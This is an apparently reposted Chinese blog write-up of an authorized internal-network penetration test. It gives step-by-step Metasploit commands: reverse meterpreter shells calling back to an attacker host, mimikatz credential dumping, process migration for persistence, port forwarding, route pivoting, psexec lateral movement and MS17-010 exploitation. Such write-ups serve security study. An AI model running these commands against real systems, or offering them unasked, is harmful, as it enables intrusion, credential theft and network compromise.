实战讲解内网渗透思路 - 渗透测试中心
2022-1-24 16:29:0 Author: www.cnblogs.com(查看原文) 阅读量:14 收藏

0x00 简介

本次测试为实战测试,测试环境是授权项目中的一部分,敏感信息内容已做打码处理,仅供讨论学习。由于本人在内网方面的掌握也是属于新手阶段,运用到的一些msf攻击手法也很基础,请各位表哥多多指教。

0x01 获得shell

Getshell的过程没什么好说的,无非简单的后台弱口令到上传然后冰蝎连接getshell。
获得shell后,模拟终端ping 8.8.8.8有返回包,说明该服务器与外网互通。

既然跟外网互通,那么可以尝试直接使用msf的exploit/multi/handler配合冰蝎反弹shell来获得session

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost xxx.xxx.xxx.xxx
set lport 5665
run


但是结果很不尽人意,没能够成功获得session。
在使用冰蝎模拟终端收集信息过程中,发现本地有powershell进程。

再次打开msf,本次尝试使用web_delivery配合终端执行powershell指令来获得session。

User exploit/multi/script/web_delivery
Set targets 2
set payload windows/x64/meterpreter/reverse_https
set lhost xxx.xxx.xxx.xxx
set lport 4332
set srvport
run



获得payload,使用冰蝎或者C刀模拟终端直接执行,成功获得session,执行getuid发现权限为system权限,省去了提权过程。

0x02  权限维持

为了获得一个持久稳定的高权限session,我们需要将当前的session进程迁移到一个持久、坚挺又稳定的进程上,防止突然暴毙(咳咳)

我们使用ps查看当前进程,然后选中一个看起来比较持久的幸运儿spoolsv.exe(这是一个用来控制打印的进程,我遇到的机器基本都开启了此进程)
注意:选择进程的时候优先选择系统进程,这种比较持久且为system权限

0x03 内网信息搜集

不管是在什么类型的渗透环境下,信息搜集永远是不可缺少的一环,他决定了你渗透的效率,可以让你在渗透过程中少走很多弯路,毕竟在项目上尤其是红蓝攻防中,最缺的永远是时间

接下来,查看IP信息以及arp缓存,查看网段分布情况:


发现该服务器只存在192.168.10.0/24网段的信息
于是继续查看其他信息

发现服务器开放3389端口:

既然开启了3389端口,我们使用端口转发,登录到服务器看看有没有意外收获。

portfwd add -l 6666 -p 3389 -r 127.0.0.1

IP有了,3389开了,现在我们缺少的是用户名密码
直接meterpreter下加载mimikatz


比较遗憾的是没能获取到明文密码,但是我这边使用cobalt strike加载的mimikatz成功获取到明文密码
emmm总之搞不懂的地方先归为玄学问题

现在,密码也有了,mstsc链接目标3389端口成功此处涉及的敏感信息较多,放弃截图,我尽量用语言表述清楚思路
上传netpass查看rdp缓存,无果,但是发现系统有VNC

VNC:VNC (Virtual Network Console)是虚拟网络控制台的缩写,是一款远程控制工具软件。

查看VNC相关文件发现新的网段信息,但是没有保存的连接信息,不过能获得新的网段信息也是知足了

0x04 横向

至此,信息收集部分其实也就差不多,接下来我们开始尝试横向移动

根据之前发现的网段信息以及服务器本机的路由信息,我们手动添加路由

Run autoroute -s 192.168.10.0/24
Run autoroute -s 172.16.0.0/24
……

其他网段同理,添加路由之后bg退回到控制台
先使用auxiliary/scanner/smb/smb_version模块扫描一下各网段的smb服务开启情况

Use auxiliary/scanner/smb/smb_version
set rhosts 192.168.10.0/24
set threads 10
run


可以看到,活着的机器还挺多。

然后,使用auxiliary/scanner/smb/psexec_loggedin_users模块配合已获得的两组账户密码进行横向

Use auxiliary/scanner/smb/psexec_loggedin_users
Set rhosts 192.168.10.0/24
Set smbuser username
Set smbpass password
Set threads 5
run


尴尬,横向失败,居然没有用同账户密码

既然横向失败,可以考虑最简单的,但也是最实用的大杀器,ms17-010
先使用scanner模块扫描一下哪些机器可能存在ms17-010的漏洞

Use auxiliary/scanner/smb/smb_ms17_010
Set rhosts 192.168.10.0/24
Set thread 20
Run


由于打ms17-010的流量比较大,为了防止死掉,我根据扫描出来的结果,针对性的选择一台感觉比较容易搞的目标,单独打。
此处试了很多机器,好多都打了补丁,不过也有漏网之鱼,此处单独拿一台示例:
Use auxiliary/admin/smb/ms17_010_command
set rhost 192.168.10.18
set command whoami
run

成功执行,是system权限,同理command换成弹shell的命令,便可以获得该机器的权限。

获得新机器的权限之后,便可以围绕新机器进行新一轮的信息搜集,然后不断横向,进一步扩大内网战果,以下,就不在多做测试。
另外对于ms17-010,如果说打2003的机器,建议使用auxiliary/admin/smb/ms17_010_command模块进行执行命令获得session;其他的可以直接使用exploit/windows/smb/ms17_010_eternalblue或者exploit/windows/smb/ms17_010_psexec来直接获得session。

0x05 总结

1.目标已获得shell,通过冰蝎已连接一句话

2.在MSF下执行以下命令,生成web_delivery的ps后门和监听

msf>user exploit/multi/script/web_delivery

msf>set targets 2

msf>set payload windows/x64/meterpreter/reverse_https

msf>set lhost 172.17.0.4

msf>set lport 4332

msf>set srvhost  0.0.0.0

msf>set srvport  3294

msf>run

3.复制生成的PS后门,在冰蝎命令终端执行,MSF成功上线

msf>sessions 1

4.查看目标权限为system权限

meterpreter>getuid

5.权限维持,进程迁移

meterpreter>ps    //查看spoolsv.exe所在的system权限的进程PID为7072

meterpreter>migrate  7072

6.内网信息收集

meterpreter>shell

c:\>ipconfig/all     //发现目标内网IP为192.168.10.122

c:\>arp -a    //发现有多个IP存活

c:\>netstat  -ano   //发现目标系统3389端口已开放

7.直接meterpreter下加载mimikatz,获取到用户的密码和明文

meterpreter>Load mimikatz

meterpreter>Wdigest

8.既然开启了3389端口,我们使用端口转发

portfwd add -l 6666 -p 3389 -r 127.0.0.1

9.在kali下远程桌面登录

redesktop 127.0.0.1  6666

10.远程桌面登录,通过netpass进行远程桌面密码查看,发现没有任何东西,但是发现存在VNC链接

11.根据之前发现的网段信息以及服务器本机的路由信息,我们手动添加路由

meterpreter>run autoroute -s 192.168.10.0/24

meterpreter>run autoroute -s 172.16.0.0/24

meterpreter>run autoroute -p

meterpreter>route print

meterpreter>background

msf>route add 192.168.10.0  255.255.255.0  1

msf>route add  172.16.0.0  255.255.255.0   1

12.使用auxiliary/scanner/smb/smb_version模块扫描一下各网段的smb服务开启情况

meterpreter>background

msf>use auxiliary/scanner/smb/smb_version

msf>set rhosts 192.168.10.0/24

msf>set threads 10

msf>run

13.使用auxiliary/scanner/smb/psexec_loggedin_users模块配合已获得的两组账户密码进行横向,发现都失败了

msf>use auxiliary/scanner/smb/psexec_loggedin_users

msf>set rhosts 192.168.10.0/24

msf>set smbuser username

msf>set smbpass password

msf>set threads 5

msf>run

14.使用scanner模块扫描一下哪些机器可能存在ms17-010的漏洞

msf>use auxiliary/scanner/smb/smb_ms17_010

msf>set rhosts 192.168.10.0/24

msf>set thread 20

msf>run

15.由于打ms17-010的流量比较大,为了防止死掉,我根据扫描出来的结果,针对性的选择一台感觉比较容易搞的目标,单独打。

msf>use auxiliary/admin/smb/ms17_010_command

msf>set rhost 192.168.10.18

msf>set command whoami

msf>run


文章来源: https://www.cnblogs.com/backlion/p/15839963.html
如有侵权请联系:admin#unsafe.sh